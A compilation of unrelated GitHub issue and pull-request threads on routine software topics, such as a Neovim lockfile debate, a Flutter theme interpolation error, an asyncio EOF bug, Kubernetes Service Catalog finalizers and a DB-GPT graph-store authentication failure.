The kickstart team have previoulsy agreed that it should be in version control (see https://github.com/nvim-lua/kickstart.nvim/issues/433), and removed it from .gitignore, but it was subsequently re-ignored without justification. See 8b5d48a199c02658e399f5b43ff8d06df1ede7fb.
Having the lockfile available would have helped me to revert to a previous version after my treesitter and lsp integration started misbehaving.

P.S. Thanks for making and maintaining kickstart! It's made getting started with neovim much easier than it would have been :heart:

IMO lazy-lock.json should be in .gitignore for the kickstart repo.
You can add it to version control in your own clone.
If lazy-lock.json would be in kickstart git repo, it would soon be outdated unless someone has the will to update it regularly.

Might be a good idea to highlight the topic in the README recommended step section, so a newcomer is aware of the concern at least.

I understand your concern @dam9000, but I disagree. Kickstart.nvim is meant to be a starting point for someone's config, particularly for beginners. Ignoring the lockfile is not a good starting point.
@ro0gr's suggestion somewhat makes up for this. However, I think that a better solution might be to suggest that people use Lazy to sync their plugins immediately after installation. That way, it doesn't matter if the lockfile is out of date when someone clones, and they begin to get familiar with Lazy straight away.

I agree with @dam9000 point that it would become a hassle to keep the lazy-lock.json updated. The other issue I could see arising from this is merge conflicts between the remote and local lazy-lock.json. I even looked at Lazy.vim and NvChad and neither have lazy-lock.json in their repos. However, @ro0gr suggestion would be the most beneficial for beginners.

Thanks everyone for your input 🙂 it's great to have such an active community providing their expertise!
I'll leave this PR open for a few days in case anyone else wants to weigh in but, given the consensus seems to be against my suggestion, I don't mind someone with the privileges to do so to close it without merging 🙂
If that happens, @ro0gr's suggestion is probably worth implementing!

Including a lock file would help with issues like #1079, but when most of our dependencies are targeting the latest commit it will not only make it more bothersome to maintain the repo (deciding how often to update it and what dependency changes are worth including), but will probably create an issue where every PR would update this file, which is almost always an unrelated change.

Thanks all. I've made #1090 which implements the suggestion from @ro0gr; will close this PR.


ThemeData切换 useSystemChineseFont 会报错

你好，我的使用场景是只有中文地区的时候会使用 useSystemChineseFont 功能，所以会在 MaterialApp 这一层判断 locale 来选择是否启用，但是切换后会报错，应该是做textStyle动画时无法做插值计算导致的，这个可以在插件层解决这个问题吗？
报错详情：
[ERROR][12/06 14:03:18]══╡ EXCEPTION CAUGHT BY WIDGETS LIBRARY ╞════════════════════════
The following assertion was thrown building
AnimatedTheme(duration: 200ms, dirty, state:
_AnimatedThemeState#b5b96(ticker active,
ThemeDataTween(ThemeData#42850 → ThemeData#9a9fb))):
Failed to interpolate TextStyles with different inherit values.
The TextStyles being interpolated were:
from: TextStyle(debugLabel: blackCupertino displayLarge, inherit: true, color: Color(0x8a000000), family: .SF UI Display, decoration: TextDecoration.none)
to: TextStyle(debugLabel: ((dense displayLarge 2018).apply).merge(blackCupertino displayLarge), inherit: false, color: Color(0x8a000000), family: .SF UI Display, familyFallback: [system-font, sans-serif, .AppleSystemUIFont, PingFang SC, miui, mipro, Microsoft YaHei], size: 96.0, weight: 100, baseline: ideographic, decoration: TextDecoration.none)
The following fields are unspecified in both TextStyles:
"backgroundColor", "letterSpacing", "wordSpacing", "height",
"decorationColor", "decorationThickness".
When "inherit" changes during the transition, these fields may
observe abrupt value changes as a result, causing "jump"s in the
transition.
In general, TextStyle.lerp only works well when both TextStyles
have the same "inherit" value, and specify the same fields.
If the TextStyles were directly created by you, consider bringing
them to parity to ensure a smooth transition.
If one of the TextStyles being lerped is significantly more
elaborate than the other, and has "inherited" set to false, it is
often because it is merged with another TextStyle before being
lerped. Comparing the "debugLabel"s of the two TextStyles may
help identify if that was the case.
For example, you may see this error message when trying to lerp
between "ThemeData()" and "Theme.of(context)". This is because
TextStyles from "Theme.of(context)" are merged with TextStyles
from another theme and thus are more elaborate than the
TextStyles from "ThemeData()" (which is reflected in their
"debugLabel"s -- TextStyles from "Theme.of(context)" should have
labels in the form of "().merge()"). It is recommended to only lerp ThemeData with
matching TextStyles.
The relevant error-causing widget was:
MaterialApp
MaterialApp:file:///Users/**/Work/vstar-app/lib/app.dart:32:12
When the exception was thrown, this was the stack:
#0      TextStyle.lerp. (package:flutter/src/painting/text_style.dart:1192:7)
#1      TextStyle.lerp (package:flutter/src/painting/text_style.dart:1233:6)
#2      TextTheme.lerp (package:flutter/src/material/text_theme.dart:806:31)
#3      ThemeData.lerp (package:flutter/src/material/theme_data.dart:1937:28)
#4      ThemeDataTween.lerp (package:flutter/src/material/theme.dart:184:41)
#5      Tween.transform (package:flutter/src/animation/tween.dart:362:12)
#6      Animatable.evaluate (package:flutter/src/animation/tween.dart:68:46)
#7      _AnimatedThemeState.build (package:flutter/src/material/theme.dart:238:20)
#8      StatefulElement.build (package:flutter/src/widgets/framework.dart:5409:27)
#9      ComponentElement.performRebuild (package:flutter/src/widgets/framework.dart:5297:15)
#10     StatefulElement.performRebuild (package:flutter/src/widgets/framework.dart:5462:11)
#11     Element.rebuild (package:flutter/src/widgets/framework.dart:5016:7)
#12     BuildOwner.buildScope (package:flutter/src/widgets/framework.dart:2779:19)
#13     WidgetsBinding.drawFrame (package:flutter/src/widgets/binding.dart:916:21)
#14     SchedulerBinding._invokeFrameCallback (package:flutter/src/scheduler/binding.dart:1297:15)
#15     SchedulerBinding.handleDrawFrame (package:flutter/src/scheduler/binding.dart:1227:9)
(elided 3 frames from dart:async)
═════════════════════════════════════════════════════════════════

@thomfang
试试这样，在yourCustomTextTheme用你自定义的text theme
return MaterialApp(
    ...
    theme: Theme(
        data: ThemeData(
          textTheme: yourCustomTextTheme.useSystemChineseFont(),
        ),
    ),
    ...
)

结果应该是遇到非中文用你自定义的text theme，遇到中文才使用system chinese font

@thomfang
试试这样，在yourCustomTextTheme用你自定义的text theme
return MaterialApp(
    ...
    theme: Theme(
        data: ThemeData(
          textTheme: yourCustomTextTheme.useSystemChineseFont(),
        ),
    ),
    ...
)

结果应该是遇到非中文用你自定义的text theme，遇到中文才使用system chinese font

我用的是3.13.9的flutter， MaterialApp.theme 是 ThemeData 类型，不是Theme 了。不过我代码也差不多，就是做插值会报错，代码如下：
return MaterialApp(
  themeMode: themeStore.themeMode,
  theme: locale.languageCode == 'zh'
    ? myThemeData.useSystemChineseFont()
    : myThemeData,
  ...
)

@thomfang 我的意思是不用
 theme: locale.languageCode == 'zh'
    ? myThemeData.useSystemChineseFont()
    : myThemeData,

直接
 theme: myThemeData.useSystemChineseFont()

这样的话，text theme遇到非中文的字符，会优先使用myThemeData，用useSystemChineseFont 作为fallback
感觉可以满足您的一般需求

@thomfang 我的意思是不用
 theme: locale.languageCode == 'zh'
    ? myThemeData.useSystemChineseFont()
    : myThemeData,

直接
 theme: myThemeData.useSystemChineseFont()

这样的话，text theme遇到非中文的字符，会优先使用myThemeData，用useSystemChineseFont 作为fallback
感觉可以满足您的一般需求

感谢！


Bug:  deployment history is not showing in selective helm apps

📜 Description
nothing show in deployment matrics
👟 Reproduction steps
connect to devops team
👍 Expected behavior

👎 Actual Behavior

☸ Kubernetes version
1.26
Cloud provider

azure
🌍 Browser
Chrome
🧱 Your Environment
No response
✅ Proposed Solution
No response
👀 Have you spent some time to check if this issue has been raised before?

[X] I checked and didn't find any similar issue

🏢 Have you read the Code of Conduct?

[X] I have read the Code of Conduct

AB#3157

resolved


customLocalizedStrings documentation is incorrect

Describe the bug
The documentation for customLocalizedStrings is not correct on two counts.

...Use an array prefixed with the correct language key. (en, fr, it, ...)

Arrays cannot be prefixed. So the example code:

[en: {
    noPstnNumbers: "There is no PSTN numbers...",
    electronloading: "Voxeet is loading, please wait",
...

doesn't work. I assume this should be an object e.g.
{en: {
    noPstnNumbers: "There is no PSTN numbers...",
    electronloading: "Voxeet is loading, please wait",
...

as this is the case in the code itself https://github.com/voxeet/voxeet-uxkit-react/blob/e19918aaccd2a1075e90b5b222d7e4064f1a1e36/src/app/languages/localizedStrings.js

Absolutely, the documentation was wrong, it has been removed from the README in develop.
Thanks you,
Fabien


Fixed toggle admin button.

Coverage remained the same at 51.126% when pulling 902af427af45fc607bd6d1c171464412f82af4a1 on wknet123:dev-current-user into 57e01000c96cbb2f7aa85a127f1c6632d4d199e6 on vmware:dev.


RuntimeInvoke with parameters and returns

Hi EquiFox, there is some way to call RuntimeInvoke(); with parameters and processing it result?

Hi @HallMaru !
Yes it is possible however my library doesn't support it. I'll look into it !

Hi @EquiFox, thank you for your reply, here is my source:

I`m trying to reproduce this:

After doing some tests, I'm having a hard time passing method arguments from our process to target process. It might works for basic types but as soon as we get objects (Even strings) it crashes.
My suggestion is to inject a managed library a call it's entry point (static, no params) with MInject.
The library will run inside target process, thus allowing us to use reflection to call wanted method.

I`m trying to do with only basic types, do you have a example that works with a method with only one int parameter?

Look at mono_runtime_invoke_array instead
Also may I ask in what scenario you must directly call the method like this instead of injecting than calling it with reflection ?

Hi, i`ll try use mono_runtime_invoke_array.
I'm trying to do direct calls, because some functions is not working using this injection system (GetTypes() for example) and of course, to do some research and fun :P


StreamReader.read(-1) cannot receive data before the write end is closed

Echo client
import asyncio

loop = asyncio.get_event_loop()
coro = asyncio.open_connection('<IP_ADDRESS>', 4001)
reader, writer = loop.run_until_complete(coro)
writer.write(b'hello')
writer.write_eof()

# bug: it just return and cannot get echo_msg
msg = loop.run_until_complete(reader.read(-1))
print(msg)

Echo server
import asyncio

@asyncio.coroutine
def process_request(reader, writer):
    peername = writer.get_extra_info("peername")
    msg = yield from reader.read(-1)
    print(peername, msg)
    writer.write(msg)
    writer.write_eof()

loop = asyncio.get_event_loop()
coro = asyncio.start_server(process_request, host='<IP_ADDRESS>', port=4001)
server = loop.run_until_complete(coro)

try:
    loop.run_forever()
finally:
    loop.stop()

Run the server, then run the client. The client should get
b'hello'

but, it got
b''

the client didn't wait for the write end close.
msg = loop.run_until_complete(reader.read(-1))   # not work

My python version is
python3.4.3

Interesting. I spent some time tracing through this code and haven't gotten further than observing that if you change the read(-1) in the server to read(1000) things work as expected. Now read(-1) calls read(self._limit) recursively, and this means that it effectively calls read(65536) twice, the second time returning EOF. I suspect that this causes some state to be lost. But I haven't found the bug yet.

OK, I think I found it. StreamReaderProtocol.eof_received() should return True to keep the transport open even after receiving an EOF. I've filed a bug in the Python tracker: http://bugs.python.org/issue24539

The fix is in https://github.com/python/asyncio/commit/ce3ad816a2ef9456b4b1c26b99dfc85ea1236811 but I'm keeping this issue (and the CPython issue) open because it needs a test and merging into CPython.

It's now still open because (1) there's still no test AFAIK, and (2) the fix elicits a warning for SSL streams because those don't support write_eof().


variant group item isn't highlighted in variant menu when selected

variant group item isn't highlighted in variant menu when selected, e.g.:
http://<IP_ADDRESS>:3001/#/events/genes/35/summary/variantGroups/7/summary

Fixed.


Add a NoOpReporter, for scenarios where we don't want any reporting

e.g. loading data for the actual read-write test
Also, should we build this functionality into ScenarioRun, so that if a ReportingConfig is not specified, we automatically fall back to this instead of throwing NPE?

If you don't call the log() method it will not output the results:
e.g.
ReportingConfig reportingConfig = ReportingConfig.report(EhcacheResult.class);

ah ok I see; I had tried to not create a config at all and then got into the NPE so went down this route but didn't realize there was this option


Packaging Failure

When I was packaging my project, it shows an error in 'UxtPressableButtonActor.h' as below. Can anyone please advise?
UATHelper: Packaging (HoloLens):   C:/Users/eddie.chui/Documents/Unreal Projects/MyProject8/Plugins/UXTools/Source/UXTools/Public/Controls/UxtPressableButtonActor.h(106) : Error: Unrecognized type 'FUxtTextBrush' - type must be a UCLASS, USTRUCT or UENUM
PackagingResults: Error: Unrecognized type 'FUxtTextBrush' - type must be a UCLASS, USTRUCT or UENUM

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: ba90317f-fc2e-1af2-dee1-b367368ea697
Version Independent ID: 37bfc738-80d9-faba-f75e-0651a7b72b74
Content: 5. Adding a button & resetting piece locations - Mixed Reality
Content Source: mixed-reality-docs/mr-dev-docs/develop/unreal/tutorials/unreal-uxt-ch5.md
Product: mixed-reality
Technology: mr-dev
GitHub Login: @hferrone
Microsoft Alias: v-hferrone

Hi @Eddiechui ! Apologies for the inconvenience. I see it has been over a week since you reported this issue and judging by another ticket you created I think you might have upgraded the project to use UXTools 0.10.0? Are you still experiencing this build issue or did it go away after the upgrade? In case the problem is still there, perhaps it could be fixed by removing all copies of UXTools from the Plugin directory and downloading UXTools 0.10.0 again? Thanks.


Update README.md

Add a link to powerline fonts for people who are new and have no idea that they are available for download.

Thanks for the PR


[question][help wanted] How to block ServiceBinding deletion

Hi
This is a nutshell of our issue:
In our K8s platform we added a new custom resource (CR) which depends on the ServiceBinding. When such CR is created we want to block the deletion of the ServiceBinding connected with it.
Details
Scenario  - creation

Create a ServiceInstance
Create a ServiceBinding
Create a ServiceBindingUsage (our CR)

Scenario – deletions, current state

Delete a ServiceInstance (will be block if the correlated ServiceBinding exists)
Delete a ServiceBinding – deleted without any checks
Delete a ServiceBindingUsage – deleted without any checks

Scenario - deletions, desired state

Delete a ServiceInstance (will be block if the correlated ServiceBinding exists)
Delete a ServiceBinding – (will be block if the correlated ServiceBindingUsages exists)
Delete a ServiceBindingUsage – deleted without any checks (in the future graceful deletion will also be handled by us)

We thought that we can achieve the flow of the last scenario by adding our new finalizer to the ServiceBinding finalizer list, so we did that. Thanks to that the ServiceBinding still exists in etcd but... unfortunately the Service Catalog deletes the Secret and the ServiceBinding has the following status:
Status:
  Async Op In Progress:  false
  Conditions:
    Last Transition Time:         2018-04-18T10:14:59Z
    Message:                      The binding was deleted successfully
    Reason:                       UnboundSuccessfully
    Status:                       False
    Type:                         Ready
  Orphan Mitigation In Progress:  false
  Reconciled Generation:          2
  Unbind Status:                  Succeeded

And that breaks our flow because the Service Catalog always executes the finalizer logic for the ServiceBinding, and we do not know how to block it without using "hacks".
Additionally, we found such comment in the source code for version 0.0.11
https://github.com/kubernetes-incubator/service-catalog/blob/v0.0.13/pkg/controller/controller_binding.go#L286-L292
and the best part of this comment is the following lines:

// (..) we proceed with the soft delete
// only if it's "our turn--" i.e. only if the finalizer we care about is at
// the head of the finalizers list.

In the newest versions this idea was dropped and not implemented.
Could you elaborate on how we can handle the last-described scenario?
Maybe we can extend the Service Catalog with a feature which checks if the list of finalizers equals 1 and that this finalizer is the FinalizerServiceCatalog. Only then the Service Catalog should execute the finalizer logic for the ServiceBinding.
Thank you in advance

re In the newest versions this idea was dropped:  Service Catalog handles the finalizers as an unsorted set so that comment was removed.  See  https://github.com/kubernetes-incubator/service-catalog/issues/1093  and https://github.com/kubernetes-incubator/service-catalog/pull/894.   I'm not certain if you can get an order list of finalizers from the platform.
Blocking a binding (or any resource) deletion may be a hard issue - we've had numerous scenarios where a namespace is deleted and catalog blocks the deletion of the namespace because it had problems (or bugs) removing the underlying resource.  The namespace that can't be deleted is a problem.  At initial glance this seems like it will make the potential for this problem larger.
@pmorie might have some thoughts.

@jboyd01 On the other hand you block removing of ServiceInstance if ServiceBinding for that instance exist.

For your ServiceBindingUsage, it sounds like the best option is #1. I'm thinking that would require setting the owner reference to point to the Service Binding and setting a foregroundDeletion finalizer on the binding. Would that work?

/close


Validation error is not thrown when a complex type property with required and from body attributes has null value

Assume a model like this
public class Customer
{
        public int Id {get; set;}
        [Required]
        [FromBody]
        public Address Address {get; set;}
}

public class Address
{
     public string Street {get; set;}
}

And I have an action
public IActionResult CreateCustomer(int id)
{
     var c = GetCustomer(id);
     TryUpdateModel(c)
     if (!ModelState.IsValid)
    { ....}
}

If I call CreateCustomer with empty json in the body, expectation is I will get a model state error saying Address is required but ModelState does not contain that error.

@kirthik What happens if you don't use [FromBody] but just do a form post instead? What is the behavior on MVC 5 when using model binding?

When I do a form post, ModelState shows validation error for Address property

Not Repro. the issue with @kirthik ran into was she was sending {} instead of an empty string ( no body) {} binds to a new object and not a null value. Hence the behavior.


Rename Second Level metrics folder

Rename metrics/metrics
to
metrics/activitymetrics
Also, move the activity-metrics.md into that folder. Overall, I think we should reduce the noise on that front page.

Good idea on renaming the folder.
I know the activity-metrics is not where we want to focus the discussion
right now. I had moved the template and schema into the folder.
I decided to keep the activity-metrics list because it points into the
folder and it would 'disappear' otherwise in the midst of all activity
metrics, making the folder useless.

Sure. Makes sense on not losing the .md file. Maybe just renaming the metrics that we're interested in will help the issue.


REST apis for EvaQL

@rohithmulumudy @imnidhi Do we need these additional APIs?

This is probably not needed right now.


Add Note on Recloning

Since I had to clean the repo, it's best to reclone it to make sure that old ditty code doesn't pollute it.

Year old, closing 😸


SPI CS not asserted prior to transmitting SPI

Hi Simon,
Sorry to reach out again, but there's no CS Low/High sequence before and after HAL_SPI_Transmit here
Hence the RESET fast command is not sent properly.
Maybe could be a nice idea to replace it with that low level SPI function written at the top of the file
"void _MCP3561_write(SPI_HandleTypeDef *hspi, uint8_t *pData, uint16_t size);"
Have a great day :)

Hi, thanks for pointing that out. I never used the reset function, so it slipped through.


Support Jetty and Jetty Client plugin

BTW Jetty client has higher priority. Whether support in 3.2, depends on the dead line.

This issue has been fix is PR: #468


test_featuredataset.py has poor file creation hygiene

The test test_featuredataset.py writes a file /tmp/test_featre_dataset.hdf5. It should, instead, use PyTest's handle for temporary files, otherwise it causes issues when someone else uses the same machine as you.

Here is the line in question: https://github.com/Lab41/pelops/blob/e355e886b394ce1aa93448d1a8e7958c6b415632/testci/test_featuredataset.py#L31


map node inspection

It might be nice to have warnings/errors raised when the function signature inside map et.al. does not match the number of incoming nodes. This won't work in all cases, since a function could take in args and kwargs and there is nothing to inspect from that, but it might work in some interesting cases.
The main benefit is that one could know before running any data into the pipeline if it was going to work. Since we know exactly how much data is going to be used in the function call we can know if it matches up and will work.
This might help with one of the main issues with streamz, writing pipelines can be more difficult than writing a naked script/notebook.

I would instead suggest being very conservative, and allowing some sort of verify_inputs=False optional arg.
Might also be nice to be able to run a pipeline in "dummy" mode, where the sinks are not actually executed, we just check that data gets there, and reset() is called on any aggregation node when done.

I guess we'd need to implement a reset system first :smile:. One could also consider this existing as a utility, which builds the graph of the pipeline and then check the inputs for each of the nodes.
A utility function (or context manager?) for the "dummy" mode might also work. Pass in a node, it builds the graph based off that node, builds a copy of the graph with various things (eg sinks) turned off and returns the node in the new graph. This way it won't impact your existing graph.

All of those sound like good ideas!


[terra-form-select] Add AT announcement for option onClick and unselection via Backspace key for multiple variants

Summary
closes #2590
Add assistive technology announcement in MultiSelect and TagSelect for option onClick (selection & unselection) and unselection via the Backspace key.
deployment
Thanks for contributing to Terra.
@cerner/terra

WDIO tests passing locally, failing on travis

🙃🙃🙃

Functional verification completed. The multiselect and tag select examples now function as expected with screen readers. One issue noted is that tapping on tags within the text field on mobile does not delete them. That will be addressed as a separate issue.


Adding filler in DryingDropletStreamingMethod

Description
Added Filler in DryingDropletStreamingMethod
Checklist:

[ ] I have reviewed the Contributor Guidelines.
[ ] I agree with the terms of the HOOMD-blue Contributor Agreement.
[ ] My name is on the list of contributors (sphinx-doc/credits.rst) in the pull request source branch.

Thanks! Yess the test is running OK


bug : empty title for a new tab

The new tab page shows empty title for new tabs opened.
Screenshot :

It should show "New Tab" or 'Welcome" text instead.
I have fixed this locally, and waiting for the confirmation to send a PR for this if needed.

Thanks for logging this! We're still at the prototyping phase at the moment but have a feature scheduled to implement a proper home page for a new tab, one which will not appear in the tabs list.


[Bug] ERROR connect vector store failed: {code: Neo.ClientError.Security.Unauthorized} {message: The client is unauthorized due to authentication failure.}

Search before asking

[X] I had searched in the issues and found no similar issues.

Operating system information
Linux
Python version information

=3.11

DB-GPT version
main
Related scenes

[ ] Chat Data
[ ] Chat Excel
[ ] Chat DB
[X] Chat Knowledge
[ ] Model Management
[ ] Dashboard
[ ] Plugins

Installation Information

[ ] Installation From Source

[ ] Docker Installation

[ ] Docker Compose Installation

[ ] Cluster Installation

[ ] AutoDL Image

[ ] Other

Device information
GPU tesla A800
Models information
LLM:qwen2.5-72B
What happened
删除知识库会报权限错误

What you expected to happen
TUGRAPH_HOST=<IP_ADDRESS>
TUGRAPH_PORT=7687
TUGRAPH_USERNAME=admin
TUGRAPH_PASSWORD=73@TuGraph
TUGRAPH_VERTEX_TYPE=entity
TUGRAPH_EDGE_TYPE=relation
TUGRAPH_PLUGIN_NAMES=leiden
GRAPH_COMMUNITY_SUMMARY_ENABLED=True
这是相关配置，目前知识库没法存入，也没法删除，会出现权限错误
希望大佬解答
How to reproduce
导入知识库会出现这个情况
Additional context
No response
Are you willing to submit PR?

[X] Yes I am willing to submit a PR!

ERROR create graph store failed: {code: Neo.ClientError.Security.Unauthorized} {message: The client is unauthorized due to authentication failure.}
2024-11-04 09:03:25 phy-10-1-198-27 dbgpt.serve.rag.connector[4037] ERROR connect vector store failed: {code: Neo.ClientError.Security.Unauthorized} {message: The client is unauthorized due to authentication failure.}
2024-11-04 09:03:25 phy-10-1-198-27 dbgpt.app.knowledge.api[4037] ERROR document sync batch error!
Traceback (most recent call last):
File "/workspace/DB-GPT/dbgpt/app/knowledge/api.py", line 425, in batch_document_sync
doc_ids = await service.sync_document(requests=request)
File "/workspace/DB-GPT/dbgpt/serve/rag/service/service.py", line 243, in sync_document
await self._sync_knowledge_document(space_id, doc, chunk_parameters)
File "/workspace/DB-GPT/dbgpt/serve/rag/service/service.py", line 512, in _sync_knowledge_document
vector_store_connector = VectorStoreConnector(
File "/workspace/DB-GPT/dbgpt/serve/rag/connector.py", line 127, in init
raise e
File "/workspace/DB-GPT/dbgpt/serve/rag/connector.py", line 123, in init
client = self.connector_class(config)
File "/workspace/DB-GPT/dbgpt/storage/knowledge_graph/community_summary.py", line 73, in init
super().init(config)
File "/workspace/DB-GPT/dbgpt/storage/knowledge_graph/knowledge_graph.py", line 52, in init
self._graph_store: GraphStoreBase = self.__init_graph_store(config)
File "/workspace/DB-GPT/dbgpt/storage/knowledge_graph/knowledge_graph.py", line 61, in __init_graph_store
return GraphStoreFactory.create(graph_store_type, configure)
File "/workspace/DB-GPT/dbgpt/storage/graph_store/factory.py", line 32, in create
raise e
File "/workspace/DB-GPT/dbgpt/storage/graph_store/factory.py", line 29, in create
return store_cls(config)
File "/workspace/DB-GPT/dbgpt/storage/graph_store/tugraph_store.py", line 101, in init
self.conn = TuGraphConnector.from_uri_db(
File "/workspace/DB-GPT/dbgpt/datasource/conn_tugraph.py", line 56, in from_uri_db
driver.verify_connectivity()
File "/usr/local/lib/python3.10/dist-packages/neo4j/_sync/driver.py", line 1083, in verify_connectivity
self._get_server_info(session_config)
File "/usr/local/lib/python3.10/dist-packages/neo4j/_sync/driver.py", line 1298, in _get_server_info
return session._get_server_info()
File "/usr/local/lib/python3.10/dist-packages/neo4j/_sync/work/session.py", line 183, in _get_server_info
self._connect(READ_ACCESS, liveness_check_timeout=0)
File "/usr/local/lib/python3.10/dist-packages/neo4j/_sync/work/session.py", line 136, in _connect
super()._connect(
File "/usr/local/lib/python3.10/dist-packages/neo4j/_sync/work/workspace.py", line 184, in _connect
self._connection = self.pool.acquire(**acquire_kwargs)
File "/usr/local/lib/python3.10/dist-packages/neo4j/_sync/io/_pool.py", line 597, in acquire
return self._acquire(
File "/usr/local/lib/python3.10/dist-packages/neo4j/_sync/io/_pool.py", line 347, in _acquire
return connection_creator()
File "/usr/local/lib/python3.10/dist-packages/neo4j/_sync/io/_pool.py", line 169, in connection_creator
connection = self.opener(
File "/usr/local/lib/python3.10/dist-packages/neo4j/_sync/io/_pool.py", line 560, in opener
return Bolt.open(
File "/usr/local/lib/python3.10/dist-packages/neo4j/_sync/io/_bolt.py", line 560, in open
connection.hello()
File "/usr/local/lib/python3.10/dist-packages/neo4j/_sync/io/_bolt5.py", line 736, in hello
self.fetch_all()
File "/usr/local/lib/python3.10/dist-packages/neo4j/_sync/io/_bolt.py", line 1009, in fetch_all
detail_delta, summary_delta = self.fetch_message()
File "/usr/local/lib/python3.10/dist-packages/neo4j/_sync/io/_bolt.py", line 994, in fetch_message
res = self._process_message(tag, fields)
File "/usr/local/lib/python3.10/dist-packages/neo4j/_sync/io/_bolt5.py", line 496, in _process_message
response.on_failure(summary_metadata or {})
File "/usr/local/lib/python3.10/dist-packages/neo4j/_sync/io/_common.py", line 295, in on_failure
raise self._hydrate_error(metadata)
neo4j.exceptions.AuthError: {code: Neo.ClientError.Security.Unauthorized} {message: The client is unauthorized due to authentication failure.}

what is your TuGraph version? and can you connect your tugraph in 7070 port？

what is your TuGraph version? and can you connect your tugraph in 7070 port？

感谢回复，我启动了两个容器，一个是DB-GPT的一个是tugraph，tugraph端口是7867
tugraph启动命令是docker run -d -p 7070:7070  -p 7689:7687 --name tugraph tugraph/tugraph-runtime-centos7:latest lgraph_server -d run --enable_plugin true

这是.env的端口配置

what is your TuGraph version? and can you connect your tugraph in 7070 port？

感谢你的思路，我解决了  tugraph启动的二进制代码默认端口是7867不能改

@Aries-ckt @ZHUHF123 Thanks for your issue and the comments. I think this issue can be closed, since it has been resolved?


initial implmenetation of dep cache

Coverage decreased (-4.7%) to 86.275% when pulling 51125d654a49c6e2e2e28911b5d891e515cb2a3b on dep-track into f43a52310bb1df625a5bf3ed9ea0b1654d638eb6 on master.


‘BEST_EFFORT_RELIABILITY_QOS’ is not a member of ‘eprosima::fastrtps’

It seems that after https://github.com/eProsima/Fast-RTPS/pull/775, BEST_EFFORT_RELIABILITY_QOS is not more a member of eprosima::fastrtps, but of eprosima::fastdds.
I wonder if the old symbol will be added back, or if we have to update ros2 code.
Some examples of failing builds:

https://ci.ros2.org/job/ci_linux/8359/console#console-section-11
https://ci.ros2.org/job/ci_linux-aarch64/4290/console#console-section-9
https://ci.ros2.org/view/nightly/job/nightly_linux-armhf_repeated/259/consoleFull#console-section-264

Similar issues with other QoS related symbols.

@ivanpauno We are migrating files as part of the DDS API implementation. When migrating WriterQos, we forgot to keep the include of QosPolices.h, which defines the old enumerations and their values.

@ivanpauno We are migrating files as part of the DDS API implementation. When migrating WriterQos, we forgot to keep the include of QosPolices.h, which defines the old enumerations and their values. I just created #786 for this.

Sounds good, thanks for the quick response!


fix debug log color

According to this, \x1B[1;30m is a black color. My vim uses this color for the background. Change it to \x1B[1;37m which is light gray according to the thing.

Wikipedia ref: https://en.wikipedia.org/wiki/ANSI_escape_code#Colors

Not sure it's a good idea. 37 is "White" which will be unreadable on terminals with a white background.

How about we just make people configure their terminal color schemes correctly? Your black color should not be the same as your background color.


Improve query for absence phenotypes

Currently absence phenotypes are very difficult to navigate in faceted browsing—either they are impossible to find or they can't be queried along with other phenotypes for a structure.

Need to test adding phenotype_of relations to absence phenotypes—can this interact cleanly with reasoning?

Still need this to work for queries to the term 'absent'

Need to make 'absent' searches automatically perform 'lacks all parts of type' searches.

Is this needed for the Evolution 2019 workshop? If yes, @balhoff or @wdahdul can either of you add it to the respective project?

I requested some changes to PATO which will make this more feasible: https://github.com/pato-ontology/pato/pull/243

The phenotype_of changes appear to be working well. What still remains to be done is to add axioms to the KB that lump "reciprocal" queries together (facilitated by https://github.com/pato-ontology/pato/pull/243 which is now merged).


replaced BTC with DOGE

The placeholders saying "BTC" should say "DOGE" on these 3 dogecoin files :
(1) './src/qt/forms/sendcoindialog.ui';
(2) './src/qt/forms/overviewpage.ui';
(3) './src/qt/forms/coincontroldialog.ui'
Fixed it and replaced the "BTC" Placeholders with "DOGE"

Solves #3315


Changing status code

The following code seems to be ignored:
function main(env, con)
con:header("Status", "302 Found")
con:header("Location", "/testing.html")
end
I still get status-code 200 from the webserver. How do I set the Status-code?

It's hard coded.  Try this patch.  327d41d442ef71ce0b8dee12c1ffb2d3f75a5906

Worked perfectly :) Thanks!


Update text colours to meet WCAG 2.0 AA contrast ratio thresholds

Addresses the following issue picked up by the Lighthouse Accessibility audit:

Background and foreground colors do not have a sufficient contrast ratio.

See: https://dequeuniversity.com/rules/axe/2.2/color-contrast
The affected colours are blue #3eb0ef and mid-grey #738a94.
These have been adjusted to #0f7dba and #647a83 as recommended at http://accessible-colors.com/

You're very welcome to use these changes locally. The colours used reflect Ghost brand colours and we're not going to change them in core at present.


Support protobuf

Is your feature request related to a problem? Please describe.
Is there any plan to support convert protobuf like retrofit-converters/protobuf do?
If so I would like to help. 😃
Describe the solution you'd like
We have done a raw implementation here https://github.com/WinTicket/retrofit.dart/pull/1
Describe alternatives you've considered
Maybe we need to create a new package like retorfit_protobuf, because we need to import some packages for the generated foo.g.dart files.
Additional context

This lib was designed only for json. There's no plan right now to supoort protobuf.
I would appreciate to take PRs here if you can provide help.


Schemas/Journal: Carrier-related events

It is proposed that the following Fleet Carrier related events be allowed in the Journal schema:

CarrierDecommission
CarrierCancelDecommission
CarrierJumpRequest
CarrierJumpCancelled
CarrierDockingPermission
CarrierNameChanged

Please discuss any objections, caveats or possible problems with this.

CarrierDecommission: Strip the ScrapRefund property.
Everything else looks good to me.
Other carrier events we might consider:

CarrierShipPack and CarrierModulePack could provide data about available shipyard and outfitting services on a carrier.
CarrierTradeOrder perhaps for publishing data about changes to player markets without requiring someone else to dock at the carrier first.

I believe that many of these events can be triggered from orders given when the player isn't docked so our standard data augmentation may not apply here. That said, we should consider what carrier-specific data augments we might want for the events we do eventually approve.

As per current policy these events should not be added to the journal schema, but instead to either a schema each, or possibly a common fleetcarrier schema.  I really am in favour of a schema each, that way we don't have to tie ourselves in knots with making the applicable schema as strict as possible whilst not disallowing valid things.

These events would be useful for FCMS, as the data it retrieves from CAPI relies on valid OAuth tokens, which have a maximum lifetime of 28 days from the last time the carrier's owner actually logged in to FCMS.
Although it is capable of using market and docking events to track some changes, certain variables are not available through the events currently broadcast on EDDN, such as the vanity name, or changes to docking permissions.


Test one api changes1

Pull Request Template
Use this template to quickly create a well written pull request. Delete all quotes before creating the pull request.

Description

Add a TL;DR when description is extra long (helps content team)
Please include a summary of the changes and which issue has been fixed. Please also include relevant motivation
and context. List any dependencies that are required for this change
Links to Notion, Figma or any other documents that might be relevant to the PR

PR fixes following issue(s)
Fixes # (issue number)

if no issue exists, please create an issue and ask the maintainers about this first

Media

